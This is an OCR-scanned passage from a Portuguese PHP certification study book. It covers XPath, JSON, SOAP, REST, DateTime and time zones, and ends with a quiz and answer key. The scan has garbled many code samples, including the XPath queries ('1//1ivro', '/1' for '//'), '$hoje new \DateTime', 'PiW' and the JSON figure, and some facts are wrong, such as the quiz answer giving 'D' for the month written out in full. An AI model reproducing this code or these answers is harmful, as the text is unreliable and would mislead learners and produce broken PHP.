Com nesse exemplo estamos buscando todos os nés (com o
nome livro) existente no XML, a partir do n6 raiz biblioteca ,
nesse caso encontraremos apenas um elemento:

DOMNodeList Object

(
[length] => 1

Como estamos utilizando xpath por meio do DOMDocument , é
retornada uma lista de nés ( DOMNodeList ) para que possamos
iterar nos objetos encontrados. Assim, vocé pode exibir a lista de
nds da maneira que desejar:

foreach ($elementos as $no) {
print $no->nodeValue;

Como estamos pegando cada né livro no documento,
utilizando o atributo nodevalue em cada no, exibimos o conteido
de todos os seus elementos filhos:

PHP // nome
Aprenda PHP //descricao

Mas vocé deve estar imaginando como vocé utiliza o método

query para encontrar diferentes nés no seu documento XML. Para

comegar, veja a tabela a seguir, que possui o basico para navegar no
seu documento através de xpath .

Elemento Descri¢ao
/ Comega a busca a partir do n6 raiz
/1 Busca o elemento desejado, nao importando onde ele esteja
@ Usado para achar atributos

Vamos mudar o nosso exemplo agora para que encontre os nds
livros em qualquer lugar do nosso documento:
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$xml = '
<biblioteca>
<estante identificador="C2">
<livro id="1">
<nome>PHP</nome>
<descricao>Aprenda PHP</descricao>
</livro>
<livro id="2">
<nome>Zend framework</nome>
<descricao>Como utilizar o Zend framework</descricao>
</livro>
</estante>
<estante identificador="D1">
<livro id="5">
<nome>Bitwise</nome>
<descricao>Manipulacdo de bitwise para ninjas</descric
ao>
</livro>
</estante>
</biblioteca>

1
7

$documento = new DOMDocument();
$documento->loadXML ($xml);

$xpath = new DOMXpath($documento);
$elemento = $xpath->query('//livro');

print_r($elemento);

Como estamos buscando apenas o nd livro
independentemente da onde ele esteja, obtemos 3 elementos. Veja o
nosso objeto DOMNodelList :

DOMNodeList Object

(
[length] => 3

E se quisermos apenas os livros da estante D1 ? Para isso,
utilizamos o @ , que nos permite especificar valores para um
atributo do XML.

$documento = new DOMDocument();
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$documento->loadXML ($xml);

$xpath = new DOMXpath($documento);
$elemento = $xpath->query('/biblioteca/estante[@identificador="D1"
1//1ivro');

print_r($elemento);

E assim conseguimos apenas um nd, conforme o esperado, pois

na estante D1 sO existe o livro Bitwise .

DOMNodeList Object

(
[length] => 1
)

4.5 XPATH E SIMPLE_XML_*

Como vimos, o xpath nos possibilita procurar exatamente o
que queremos em um documento. Mas todos os exemplos que
vimos até o momento foram através da DOMDOcumento para
manipulagio de XML. E se vocé estiver utilizando a fungdo
simple\_xml_* ?

Os recursos oferecidos para se utilizar o xpath sdo os mesmos,
apenas a sua manipulagdo e retorno que diferem.

$texto = '
<biblioteca>
<livro id="1">
<nome>PHP</nome>
<descricao>Aprenda PHP</descricao>
</livro>
</biblioteca>"';

$xml = simplexml_load_string($texto);
$elementos = $xml->xpath('/biblioteca/livro');

print_r($elementos);

Utilizar xpath com as fungdes simplexml_* ¢é até um pouco
mais facil, pois ndo precisamos instanciar um novo objeto como
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fazemos com a DOMDocument . Utilizar a DOMXpath ¢é uma
aproximagdo mais orientada a objetos do que com as fungdes
simple_xml_* , entretanto, os recursos utilizados sdo os mesmos.

Array

(
[0] => SimpleXMLElement Object

(
[@attributes] => Array

(
[id] => 1
)
[nome] => PHP
[descricao] => Aprenda PHP

Xpath possui inumeros padrdes para utilizar, como por
exemplo, o ponto ( . ), que referencia o n6 atual; e dois pontos
( .. ), que referenciam o n6 acima do nd atual. Eles sao muito
importantes caso vocé ndo consiga identificar um né por um
identificador nico, como um id ou o valor de um atributo. Por
esse motivo, dé uma olhada na documentacio oficial do PHP
sobre API DOM, em
http://php.net/manual/pt_BR/class.domxpath.php, e sobre
SimpleXMLElement > em
http://php.net/manual/pt_BR/simplexmlelement.xpath.php.

4.6 JSON ENCODE, DECODE

Um dos tipos de dados mais famosos hoje é o JSON (Javascript
Object Notation) e, com PHP, conseguimos facilmente manipular
esse tipo de dado. JSON possui uma enorme vantagem sobre o
XML, pois ndo possui uma marca¢ao verbosa, e também é muito
mais leve, ja que nao carrega tanta informagao como o XML em seu
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corpo.

{

- coord: {
lon: -46.66,
lat: -23.55
}J‘
- weather: [
=
id: 863,
main: "Clouds",
description: "broken clouds",
icon: "04n"
iy
Tk
base: "stations",
- main: {
temp: 295.95,
pressure: 1820,
humidity: 82,
temp_min: 298.15,
temp_max: 300.37
}J‘
visibility: leooa,
- wind: {
speed: 4.6,
deg: 140
}J‘

Figura 4.1: Exemplo de um documento JSON sobre a temperatura

As duas principais fungées em PHP para utilizar JSON sao
json_encode para transformar um tipo de dado PHP em JSON, e
json_decode que deserializa objetos JSON para tipo de dado PHP.

print json_encode([
'zcpe' => [
'basico’,
'avancado'
]
1)

Chamar json_encode ¢ a maneira mais simples de se ter
JSON, porém podemos informar alguns pardmetros a mais para a
fun¢ao, como por exemplo escolher qual tipo de bitmask desejamos
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usar.

print json_encode([
'zcpe' => [
'basico’,
'avancado'

1
1, JSON_HEX_QUOT);

Podemos também combinar varias op¢des para aplicar:

print json_encode([
'zcpe' => [
'basico’,
'avancado'
1
1, JSON_HEX_QUOT | JSON_HEX_TAG);

\u0022 , ou podemos utilizar  JSON_HEX_TAG

utilizar, e isso pode ser conferido
http://php.net/manual/en/json.constants.php.

b

JSON_HEX_QUOT  transformara todas as aspas ( " ) em

que

transformard os sinais < e > em \u@03C e \u®O3E . O PHP

nos fornece uma lista com todas as opgdes possiveis para

€m

O dultimo pardmetro que podemos usar é o tamanho da
profundidade que o PHP vai percorrer recursivamente para
transformar o dado em uma string JSON. Isso é utilizado em
colecdes muito grandes, onde podemos restringir o tamanho da

recursividade.

print json_encode([
'zcpe' => [
'basico’,
'avancado'
]
1, JSON_HEX_QUOT | JSON_HEX_TAG, 2);

E para deserializar um objeto JSON ¢ bem simples também.
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Veja:
$json = '{"zcpe":["basico", "avangcado"]}"';

print json_decode($json);

Para saber mais sobre o formato JSON, acesse o site oficial, em
http://www.json.org/.

47  SOAP (SIMPLE OBJECT  ACCESS
PROTOCOL)

SOAP ¢ um protocolo de mensagem que permite nos comunicar
entre aplicacdes independentemente do sistema operacional e
linguagem de programacéo, para isso ¢ utilizado o HTTP (Hypertext
Transfer Protocol) e o XML (Extensible Markup Language) como
base.

Hoje em dia, consumimos muitos servicos pela web, e o PHP
nos fornece uma maneira simples e rapida para isso. A partir da sua
versdo 5.0.1, podemos utilizar uma abstragdo para consumir
servicos SOAP ou para criar um servidor SOAP.
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wsdl:definitions xalns:tm="http://microsoft.com/wsdl/mime/textMatching/" xmlns:soapenc="http:

script id-"tinyhippos-injected"’
wsdl: types
» =s5:schema elementFormDefault—"qualified" targetNamespace—"http://www.webserviceX.NET

wsdl: types=
wsdl:message name-"GetWeatherSoapIn"

wsdl:part name='parameters” element="tns:GetWeather"

wsdl:message
wsdl:message name="GetWeatherSoaplut">

wsdl:part name="parameters” element="tns:GetWeatherResponse"

wsdlL:message
wsdl:message name="GetCitiesByCountrySoapIn"

wsdlL:part name="parameters” element="tns:GetCitiesByCountry

wsdl:message
wsdl:message name="6GetCitlesByCountryscapout’

wsdl:part name="parameters” element="tns:GetCitiesByCountryResponse

wsdl:message
wsdl:message name="GetWeatherHttpbetIn'

wsdl:part namec='CityName" type="s:string

wsdl:part

werdl “mezcana

name-*CountryNanc® type-"s:string'

Figura 4.2: Exemplo de um WSDL para consumir informagdes sobre a temperatura

e SOAP ¢ um protocolo para troca de mensagens
independentemente da tecnologia;

e SOAP utiliza WSDL (Web Services Description
Language) para descrever seus servigos;

e SOAP utiliza apenas XML.

Consumir um servigo SOAP com PHP ¢ bem simples. Para isso,
usamos a classe SoapClient , e precisamos apenas do WSDL para
passar como parametro a0 método construtor.

$cliente = new SoapClient('http://meu.servico.com?wsdl');

Um ponto a se atentar ao utilizarmos a SoapClient ¢é que
podemos passar como segundo parametro do método construtor
um array com diversas opgdes, como mostra a tabela a seguir.

Opgio Valor

style Utilizado apenas quando um WSDL nio ¢ informado

Especificaa versiodo SOAP 1_1 ou SOAP_1_2 (o
padraiousadoéo SOAP_1_1)

soap_version

compression Permite utilizar compressao nas requisi¢oes realizadas e respostas
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encoding

trace

classmap

exceptions

connection_timeout

typemap

cache_wsdl

user_agent

stream_context

features

keep_alive

ssl_method

Define qual o tipo de encoding sera usado internamente

Através dessa opgio, ¢ possivel rastrear se ocorreu algum erro
durante a requisicio (o padrio dessa opgio ¢ false )

Mapeia um WSDL para uma classe PHP

Define se serdo lancadas excegdes se algum erro ocorrer (excecao
dotipo SoapFault )

Define quanto tempo o PHP vai esperar caso nio houver
nenhuma resposta, essa opcdo pode ser definidano php.ini
através daopgio default_socket_timeout

Especifica trés indices para mapear o WSDL: tvpe ns ,o
nome do namespace utilizado no WSDL; type_name ,o

nome do né a ser mapeado; e from_xml , uma fungio
definida para ser utilizada como callback

Define o tipo de cache usado através das constantes:
WSDL CACHE NONE . WSDL CACHE DISK .
WSDL_CACHE_MEMORY ou WSDL_CACHE_BOTH

Define o header User -Agent para realizar a requisigio

E possivel definir um contexto utilizando streams pela fungio
stream_context_create

Define o tipo de bitmask utilzado através das constantes:
SOAP SINGLE ELEMENT ARRAYS ,
SOAP USE XSI ARRAY TYPE ou
SOAP_WAIT_ONE_WAY_CALLS

Através de um valor booleano, define se sera enviado o header
Connection: Keep-Alive quando true ,ou
Connection: close

Define o tipo de SSL usado através das constantes:
SOAP SSL METHOD TLS,

SOAP SSL METHOD SSLv2 ,

SOAP SSL METHOD SSLV3 ou
SOAP_SSL_METHOD_SSLv23

O que precisamos agora é apenas executar o método desejado.

Caso nao consiga identificar no WSDL quais métodos podemos

usar, podemos utilizar o método __getFunctions para retornar

uma lista completa dos métodos disponiveis.
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$cliente = new SoapClient('http://meu.servico.com?wsdl');
$cliente->__getFunctions();

Apos identificarmos o método desejado, temos dois modos
diferentes de realizar a chamada. A primeira é utilizando uma
chamada diretamente ao objeto SoapClient com o nome do
método desejado:
$cliente = new SoapClient('http://meu.servico.com?wsdl');
$cliente->meuMetodo(['parametrol’, 'parametro2']);

Ou podemos utilizar o método __callSoap , passando como
primeiro parametro o método desejado, e como segundo parametro
0s argumentos:
$parametros = [

'parametrol' => 'valorl',
'parametro2' => 'valor2',

1;

$response = $soapClient->_ soapCall('meuMetodo', [$parametros]);

Ao usar o método _ soapCall , devemos prestar muita
atengdo em como passamos Os pardmetros, pois devemos
encapsular todos os parametros necessirios em um array
(como podemos observar no exemplo anterior, com a variavel

$parametros ). E ao efetuarmos a chamada do metodo
__soapCall , devemos novamente encapsular o array de
parametros em um novo array. Ou seja, é preciso encapsular
duas vezes nossos parametros antes de enviar a requisi¢do.
Caso nao utilize os dois parametros antes de efetuar a
requisi¢do, vocé receberd uma mensagem de erro do servico
que estd consumindo, alegando que os parametros necessarios
nao foram enviados.

Além de consumir servicos baseados em SOAP, podemos
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também criar o nosso préprio servidor e fornecer um servi¢co com o
PHP para ser consumido em qualquer outra linguagem também.
Para isso, usamos a classe SoapServer .

$soapServer = new SoapServer('servico.wsdl');

Podemos também utilizar SoapServer , sem especificar um
WSDL. Para isso, devemos informar a op¢do uri como segundo
parametro ao construtor.
$soapServer = new SoapServer(null, [

'uri' => 'http://localhost/wsdl’'
1);

E, para finalizar, escolnemos qual classe queremos expor ao
NOoSsO servico:
class MeuServico {

public function ola()

{

return 'Método ola do meu servigo';

$soapServer->setClass('MeuServico');
$soapServer->handle();

4.8 PHP.INI E SOAP

Alguns recursos de cache usados pelo SOAP podem ser
definidos no php.ini , por exemplo, se queremos habilitar o uso
de cache:

soap.wsdl_cache_enabled=1
Podemos definir o diretdrio cujo cache sera armazenado:
soap.wsdl_cache_dir="/tmp"

Além disso, podemos definir também por quanto tempo vamos
utilizar o cache em vez do WSDL original:
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soap.wsdl_cache_tt1=86400

E, finalmente, é possivel definir o tamanho maximo do cache
que serd armazenado:

soap.wsdl_cache_limit = 5

4.9 REST

Assim como o SOAP, podemos consumir servigos web através
do REST (Representational State Transfer). Diferentemente dele, em
que utilizamos um protocolo préprio, com REST usamos os verbos
HTTP para a transmissio de mensagens. Também temos a
possibilidade de utilizar XML ou JSON.

Com REST, temos alguns papéis definidos para cada verbo
HTTP que vamos utilizar:

e GET - Usado para realizar a leitura de registros.

e PosT - Utilizamos o verbo POST quando queremos
criar um novo recurso no servigo oferecido.

e PUT - Usado para atualizar um registro existente e,
geralmente, utilizado em conjunto com o GET para
obter o registro que se deseja atualizar.

e PATCH - Utilizado quando queremos atualizar apenas
uma parte do recurso fornecido pelo servigo.

e DELETE - Como o proprio nome diz, usado para
deletar registros do nosso servigo.

Uma outra parte muito importante sobre servigos REST sdo os
seus status de retorno, no qual temos uma informagdo para cada
faixa de nimero:

e 1XX - Status na faixa 100+ sdo utilizados como
informativos.
e 2XX - Status na faixa 200+ sdo utilizados para informar
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Sucesso na operagao.

e 3XX - Status na faixa 300+ sdo utilizados para informar
o redirecionamento.

e 4XX - Status na faixa 400+ sdo utilizados para informar
que houve algo de errado com a requisi¢do enviada, ou
seja, que o servidor ndo conseguiu interpretar.

e 5XX - Status na faixa 500+ sdo utilizados para indicar
erros internos no servidor.

A lista completa dos status HTTP esta disponivel no site do
W3C e pode ser conferida em
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html.

4.10 REST E PHP

Agora que entendemos o que ¢ REST e como utiliza-lo,
podemos unir forgas e entender como podemos usar esses verbos
com o PHP. Curiosamente, os verbos GET e POST sd0 0s mais
faceis de se manipular, pois o PHP ja abstrai toda a complexidade de
uma requisi¢ao para esses verbos.

Para manipular dados que sdo passados via GET, basta
acessarmos a global $_GET , indicando a chave que desejamos:

$nome = $ GET['nome'];

Isso é possivel pois o PHP disponibiliza um array associativo
com todos os parametros enviados na requisi¢io. O mesmo ocorre
com o verbo POST , pois o PHP nos fornece um array associativo
com os parametros enviados, exatamente da mesma forma que no
verbo GET .

$nome = $ POST['nome'];

410 RESTEPHP 99



As coisas comecam a complicar um pouco mais quando
tratamos de outros verbos, como PUT . Com ele, precisamos tratar
diretamente com o stream para recuperar esses dados. Infelizmente,
a maneira de manipular os dados que sdo enviados através desse
verbo ndo é tao facil quanto os que sdo enviados via GET ou POST .
Porém, o PHP também nos fornece uma maneira tranquila de
acesso através de streams.

Para entendermos como fazer isso, a primeira coisa é criar um
arquivo chamado rest.php para receber esses dados e exibi-los:

// Lé os dados enviados na requisicdo e exibe
print file_get_contents('php://input');

Apos isso, precisamos acessar esse arquivo pelo nosso servidor
web. No meu caso, estou utilizando o servidor web que vem
embutido junto com o PHP, entdo, basta ir para a pasta onde o meu
script estd e digitar o seguinte comando:

php -S localhost:8989

Apos isso, podemos enviar a nossa requisi¢do para o servidor
web e ser processado pelo nosso script PHP. Vou utilizar o CURL
para efetuar essa requisi¢do, mas vocé pode utilizar extensdes com o

POSTMAN , por exemplo.

curl -X PUT -H "Content-Type: application/x-www-form-urlencoded"
d 'meu_parametro=meu_valor' http://localhost:8989/rest.php

E ao executarmos a requisi¢do, temos a seguinte resposta:
meu_parametro:meu_valor

O mesmo ocorre com o verbo PATCH . Usamos a mesma
requisicdo, mudando apenas o tipo de verbo, e temos a mesma
resposta:

curl -X PATCH -H "Content-Type: application/x-www-form-urlencoded"
-d 'meu_parametro=meu_valor' http://localhost:8989/rest.php
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Trocamos o verbo desejado, porém a resposta é a mesma:

meu_paramet ro=meu_valor

4.11 DATE

O PHP possui uma série de fungdes para a manipulacdo de
datas, e uma das mais utilizadas é a funcdo date .

print date('d/m/Y");

Essa é a forma mais basica de se usar essa funcdo. A letra d
representa o dia, a letra m o més, e finalmente a letra Y representa
o ano (day, month e year). A seguir, temos uma tabela que nos da
uma ideia de alguns caracteres que podemos usar com a fungédo
date :

Caracter Descricao Valor

d Representa o dia do més em dois caracteres (se o numero for

02, 15
menor que 10, é adicionado um zero a esquerda)

; o Mon,
D Representa o dia com trés caracteres Su(I)ln
m Representa o més em dois caracteres (se o niimero for menor que 07,
10, é adicionado um zero a esquerda) 12,11
5 5 Jan,
M Representa 0 més com trés caracteres
Mar
y Representa o ano em dois digitos 99,01
Y Representa o ano em quatro digitos ?(9);8’
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Se vocé deseja saber quais sdo todas as possibilidades de
caracteres que podemos utilizar na fun¢do date , acesse a
documentacao oficial, em
http://php.net/manual/pt_BR/function.date.php. L4 existe uma
tabela com todas essas combinagoes.

Como ndo especificamos o segundo parametro para a fungdo
date , o seu padrdo ¢é utilizar a data e hora no momento da
execugdo do script. Mas, em alguns casos, precisamos usar outras
datas junto com a fungdo. As vezes, essa data ja vem do banco de

dados, ou 0 usudrio ira fornecé-la.

A fungdo date torna isso muito facil, pois s6 precisamos
especificar a data que desejamos como segundo parametro.

print date('d/m/Y', time() + 86400); // adiciona um dia na data at
ual

Para que tudo ocorra bem, lembre-se de que, ao passar uma data
para a funcdo date , é preciso usar sempre o padrao Unix.

4.12 A CLASSE DATETIME

Nas aplicagdes que desenvolvemos, em algum momento vamos
nos deparar com datas, seja exibindo uma data para o usuario ou
tratando um formato de data que venha do banco de dados. Com a
classe DateTime , podemos realizar varias operagdes em datas de
uma maneira orientada a objetos.

$data = new DateTime();

A classe DateTime nos fornece alguns tipos de datas padroes
para serem usados como constantes. Veja alguns exemplos:
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ATOM = "Y-m-d\TH:i:sP" ;
COOKIE = "1, d-M-Y H:i:s T" ;
IS08601 = "Y-m-d\TH:i:s0" ;
RFC822 = "D, d My H:i:s 0" ;
RFC850 = "1, d-M-y H:i:s T" ;
RFC1036 = "D, d My H:i:s 0" ;
RFC1123 = "D, d M Y H:i:s 0" ;
RFC2822 = "D, d M Y H:i:s 0" ;
RFC3339 = "Y-m-d\TH:i:sP" ;

RSS

"D, d MY H:i:s 0" ;

W3C = "Y-m-d\TH:1i:sP" ;

Uma recomendagdo é que vocé tenha em mente essas
constantes utilizadas pelo DateTime para a prova de
certificagao.

Algumas opgdes no  php.ini sdo diretamente afetadas
utilizando datas, como por exemplo, a date.timezone , que emite
um warning caso nao for definida.
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[Date]

; Defines the default timezone used by the date functions
; http://php.net/date.timezone

;date.timezone =

; http://php.net/date.default-latitude
;date.default latitude = 31.7667

; http://php.net/date.default-longitude
;date.default longitude = 35.2333

; http://php.net/date.sunrise-zenith
;date.sunrise zenith = 90.583333

; http://php.net/date.sunset-zenith
;date.sunset zenith = 90.583333

Figura 4.3: Opgoes php.ini utilizando-se datas

Adicionar um intervalo entre datas é extremamente simples, e
nos introduz a primeira classe que usamos junto com a DateTime ,

a DatelInterval .

Com essa classe, é possivel adicionar um periodo de tempo a
uma data:

$hoje new \DateTime('now');
$amanha = $hoje->add(new \DateInterval('P1D'));

A primeira coisa a que devemos nos atentar ¢ a utilizagao do P
no construtor da classe. Esse tipo de parametro é obrigatério, e quer
dizer Period (Periodo).

Além da opgao P (obrigatdria), temos os seguintes parametros
para informar periodos:

Opgao Descricao
Y Anos (years)

M Meses (months)

D Dias (days)

Semanas (essas semanas sao convertidas para dias internamente no PHP, o que

104 4.12 ACLASSE DATETIME



torna impossivel utilizaro W em conjuntocomo D )

Horas (hours)

Minutos (minutes)

Segundos (seconds)

Agora que sabemos como especificar os tipos de intervalos para

a DateInterval , podemos adicionar diferentes periodos de

tempo:

$hoje
$amanha =

new \DateTime('now');
$hoje->add(new \DateInterval('PiW'));

4.13 DATETIMEIMMUTABLE

<<interface>>

DateTimelnterface

DateTime

DateTimelmmutable

Figura 4.4: Implementagdes da classe DateTime e DateTimeImmutable

Se vocé executou os exemplos anteriores, perceberd que se

adicionarmos um periodo através do método add entre datas, o
valor base do objeto também vai mudar. Vamos a um exemplo para

simplificar:

$hoje =
$amanha =

new \DateTime('2015-10-10');
$hoje->add(new \DateInterval('P1D'));
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Comegamos com um objeto DateTime com a data 2015-10-
10 , e atribuimos a varidvel $hoje . Logo em seguida, adicionamos
um dia, ou seja, teremos como retorno do método add a nossa
nova data, 2015-10-11 .

$hoje = new \DateTime('2015-10-10');
$amanha = $hoje->add(new \DateInterval('P1D'));

print $amanha; // 2015-10-11

Porém, ao tentarmos resgatar o dia anterior que passamos na
varidavel $hoje , obtemos 2015-10-11 .

$hoje = new \DateTime('2015-10-10");
$amanha = $hoje->add(new \DateInterval('P1D'));

print $hoje; // 2015-10-11

Muitas vezes esse ndo é o comportamento desejado. Em muitos
casos, queremos que o objeto mantenha o seu estado nas datas que
passamos a ele. Em nosso caso, esperariamos a variavel $hoje com
ovalor 2015-10-10 , e a varidvel $amanha com o valor 2015-10-
11.

Para alcancar esse resultado, devemos utilizar a classe

DateTimeImmutable , que sé foi introduzida no PHP 5.5,

exatamente para sanar esse problema de comportamento da classe
DateTime .

A classe DateTimeImmutable possui exatamente 0s mesmos
métodos que a classe DateTime , o que muda é apenas seu
comportamento.

$hoje = new \DateTimeImmutable('2015-10-10");
$amanha = $hoje->add(new \DateInterval('P1D'));

print $hoje; // 2015-10-10
print $amanha; // 2015-10-11
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DateTimeImmutable foi introduzida no PHP 5.5, e também ¢é
assunto que cai na prova de certificacdo. Ela se comporta
exatamente da mesma maneira que a classe DateTime , mas se
vocé sentir necessidade, visite a documentagdo oficial, em
http://php.net/manual/en/class.datetimeimmutable.php.

4.14 DEFININDO DATA

Até agora, s6 definimos uma data através do construtor,
passando a data que desejamos em um formato aceito pela classe:

$dataDeNascimento = new DateTime('1993-07-02');

Porém, podemos também definir uma data apds a criagdo do
objeto pelo método setDate . Por meio dele, podemos fornecer um
ano, més e dia para utilizarmos.

$dataDeNascimento = new DateTime('1993-07-02');
$dataDeNascimento->setDate(1993, 7, 2);

print $dataDeNascimento->format('d/m/Y'); // 02/07/1993

Assim como para data, temos um método por setar o tempo,
que trabalha da mesma forma que o setDate . Porém, nesse
método, informamos as horas, minutos e segundos desejados.

$dataDeNascimento = new DateTime();
$dataDeNascimento->setTime(10, 45, 10);

print $dataDeNascimento->format('h:i:s'); //10:45:10

Novamente, devemos nos atentar para o comportamento da
classe DateTimeImmutable comparado com a classe DateTime .
Com a classe DateTime , podemos definirmos uma data na cria¢ao
do objeto e, apds isso, modifica-la com sucesso. Veja o nosso
exemplo que altera a data de 02/07/1993 para 07/07/1990.
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$dataDeAniversario = new DateTime('1993-07-02');
print $dataDeAniversario->format('d/m/Y'); // ©2/07/1993

$dataDeAniversario->setDate(1990, 07, 07);
print $dataDeAniversario->format('d/m/Y'); // ©07/07/1990

Nada muito fora do normal e do esperado, afinal, se estamos
definindo uma nova data/hora para o objeto, queremos modifica-lo.
Entretanto, utilizando a classe DateTimeImmutable , esse tipo de
comportamento niao é permitido, e a data/hora definidos no
momento da construgdo do objeto ndo ¢ afetada. Veja que alterar a
data de 02/07/1993 para 07/07/1990 nado ¢ possivel com a classe

DateTimeImutable .

$dataDeAniversario = new DateTimeImmutable('1993-07-02');
print $dataDeAniversario->format('d/m/Y'); // 02/07/1993

$dataDeAniversario->setDate(1990, 07, 07);
print $dataDeAniversario->format('d/m/Y'); // ©02/07/1993

Note que o resultado apds usarmos o método setDate ndo se
modifica. Vamos a mais um exemplo, agora utilizando ambos data e
tempo.
$dataDeAniversario = new DateTimeImmutable('1993-07-02 10:10:10'");

print $dataDeAniversario->format('d/m/Y h:i:s'); // 02/07/1993 10:
10:10

// Vamos tentar modificar agora a data e a hora definidas no momen
to da construcdo do objeto

$dataDeAniversario->setDate(1990, 07, 07);
$dataDeAniversario->setTime(12, 10, 57);

// A data e hora ndo se modificam
print $dataDeAniversario->format('d/m/Y h:i:s'); // 02/07/1993 10:
10:10

sub

Além de adicionar um periodo de tempo a uma determinada
data, provavelmente vamos querer subtrair também. Assim como o
método add , que adiciona periodos de tempo, podemos utilizar o
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método sub para subtrair intervalos de tempo.

$hoje = new DateTime('2015-10-10');
$ontem = $hoje->sub(new DateInterval('PiD'));

print $ontem->format('Y-m-d'); //2015-10-09

modify

Até agora, vimos como utilizar métodos especificos para
adicionar/subtrair periodos de datas. Mas o PHP nos fornece o
método modify que nos permite modificar uma data de diversas
formas. Veja o mesmo resultado adquirido com o método sub
agora utilizando o método modify :

$hoje = new DateTime('2015-10-10");
$ontem = $hoje->modify('-1 day');

print $ontem->format('Y-m-d'); //2015-10-09
Agora vamos adicionar um periodo:

$hoje = new DateTime('2015-10-10");
$ontem = $hoje->modify('+1 day');

print $ontem->format('Y-m-d'); //2015-10-11

Utilizando o método modify , tornamos o nosso cddigo muito
mais legivel, pois usamos uma string para expressar exatamente o
que desejamos fazer com aquele periodo de tempo.

4.15 TIME ZONE

Outra caracteristica que se destaca utilizando DateTime é o uso
de fusos horarios. Utilizando DateTimeZone , podemos definir os
fusos hordrios que desejarmos em nossa aplicagdo. Isso nos traz
uma flexibilidade muito grande em aplicagdes que precisam calcular
diferentes horarios dependendo do fuso.

Vimos anteriormente que podemos definir um fuso horario
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padrdo para o PHP no php.ini:
date.timezone = America/Sao_Paulo

Porém, por meio desse método, definimos um fuso horario
padrdo para toda a aplicagdo. Usando o DateTimeZone , é possivel
definir diferentes fusos horarios para varios objetos DateTime .

$saoPaulo = new DateTime('now', new DateTimeZone('America/Sao_Paul
0'));

print $saoPaulo->format('d/m/Y H:m:s');

$auckland = new DateTime('now', new DateTimeZone('Pacific/Auckland
)i

print $auckland->format('d/m/Y H:m:s');

Podemos também descobrir qual o fuso horario determinada
instincia do  DateTime  estd usando através do método

getTimeZone , que nos retorna uma instancia de DateTimeZone .
print $saoPaulo->getTimeZone()->getName(); // America/Sao_Paulo
print $auckland->getTimeZone()->getName(); // Pacific/Auckland

Uma coisa interessante de se notar é que, se nenhum fuso
horario for especificado para o DateTime , o PHP assume o fuso
horario definido no php.ini .

$padrao = new DateTime();

print $padrao->getTimeZone()->getName(); // Retorna a opcao defini
da em date.timezone no php.ini

Para maiores informagdes sobre DateTimeZone , veja a
documentagéo oficial do PHP, em
http://php.net/manual/en/class.datetimezone.php.

4.16 CREATEFROMFORMAT
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Em algumas ocasides, desejamos criar uma data a partir de um
formato ndo padrao, ao qual a linguagem nao da suporte por si so6.
Para isso, existe o método createFromFormat , que torna possivel
criar nossos proprios formatos serem usados

Em nosso exemplo, vamos supor que desejamos converter a data
no padriao brasileiro (dd/mm/yyyy) para o formato americano
(yyyy-mm-dd). Isso é uma tarefa muito comum quando precisamos
persistir os dados no banco.

$meuFormato = \DateTime::createFromFormat('d/m/Y', '02/07/1993');

print $meuFormato->format('Y-m-d'); // 1993-07-02

Lembre-se: DateTime e DateTimeImmutable possuem 0s

mesmos métodos, porém comportamentos diferentes.

4.17 TESTE SEU CONHECIMENTO

1) O que a extensao XSL faz no PHP? Escolha uma.
a) Formata a saida do XML
b) Aplica folhas de estilo no XML
c) Aplica transformagcdo do XML
d) valida a sintaxe de um arquivo XML

2) Quais tipos de web services sio nativamente suportados
pelo PHP? Selecione, no minimo, duas.

a) SOAP
b) REST

c) XML-RPC
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d) Corba
3) O que é JSON? Escolha apenas um.

a) Uma maneira de serializar qualquer tipo do PHP para ser possive
1 trocar dados entre diversas linguagens de programacgao.

b) Uma representacédo portatil dos tipos de dados utilizados em PHP
c) Uma forma de representar qualquer tipo, exceto um resource que
pode ser usado posteriormente pelo JavaScript ou outra linguagem d

e programacgéo.

4) Quais tecnologias podemos utilizar para criar novos nos
em um documento XML no PHP 5?2 Escolha duas.

a) XQuery

b) XPath

c) SimpleXML
d) DOM

e) SAX

5) Qual é o método da classe DateTime responsavel por
definir horas, minutos ou segundos?

6) Qual caractere é utilizado para indicar um atributo no
xpath?

a) A
b) @
c) /
d) *
e) []
7) O que é JSON?

a) Java Script Object Notation

112  4.17 TESTE SEU CONHECIMENTO



b) Java
c) Uma linguagem de programacéo
d) Objetos JavaScript utilizados no PHP

e) Ndo é possivel utilizar JSON no PHP

8) Qual caractere utilizamos para exibir o més por extenso na
fungao date?

a) D
b) d
c) a
d) €
e) w

9) Quais das constantes a seguir nao sio validas na classe
DateTime?

a) ATOM
b) RFC822
c) RFC992
d) wsc
e) RSS

10) Como acessamos dados enviados através de requisi¢oes
PUT com o PHP?

a) $_PUT

b) $_GET

c) php://input
d) php://output

e) Ndo é possivel acessar dados enviados por PUT
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4.18 PARA ONDE IR AGORA?

Como neste capitulo tratamos de temas diferentes, como
manipulagio de XML, JSON e datas, ¢ importante ressaltar o
conhecimento dessas tecnologias que nao possuem relagao direta
com o PHP. Antes de continuar com o livro, aconselho que se
familiarize o maximo possivel com essas tecnologias para tornar a
sua experiéncia ao utilizar o PHP junto com elas bem transparente.

Para entender um pouco mais sobre XML, vocé pode acessar sua
especificagdo em https://www.w3.org/TR/REC-xml/, e ter uma visao
um pouco mais a fundo. Além disso, na parte do PHP, vocé pode
também ver a biblioteca que ele utiliza internamente nas fungdes
que manipulam XML, em http://www.xmlsoft.org. O mesmo ocorre
com o JSON. Pelo site http://json.org, vocé pode ver detalhe por
detalhe do que é e como utiliza-lo.

4.19 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso nao, nao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!
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QUESTOES

Questao 1 - Resposta correta: ¢
Questao 2 - Resposta correta:aec
Questao 3 - Resposta correta: ¢
Questao 4 - Resposta correta: ced
Questdo 5 - Resposta correta: setTime
Questao 6 - Resposta correta: b
Questao 7 - Resposta correta: a
Questao 8 - Resposta correta: a
Questao 9 - Resposta correta: ¢

Questdo 10 - Resposta correta: ¢
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CapiTULO 5

ARRAYS

Arrays em PHP sdo muito teis, e talvez o recurso mais utilizado
no dia a dia dos programadores. Em um passado ndo muito distante
(da versdo 4.0 até a 5.2), quando a cultura da Orientagdo a Objetos
(OO) no PHP néo era tdo forte, arrays faziam o papel do objeto.
Néao ¢ muito dificil hoje visualizar sistemas legados contendo
inimeros arrays.

Uma boa parte disso também ¢é por conta das fungdes nativas do
PHP que retornam arrays como padrdo, como por exemplo, as
fun¢des que buscam informagdes no banco de dados, induzindo os
programadores de uma certa forma. Neste capitulo, vamos
demonstrar algumas das fungdes necessarias para fazer a prova de
certificagao. Mas, desde ja, recomendamos que navegue pela
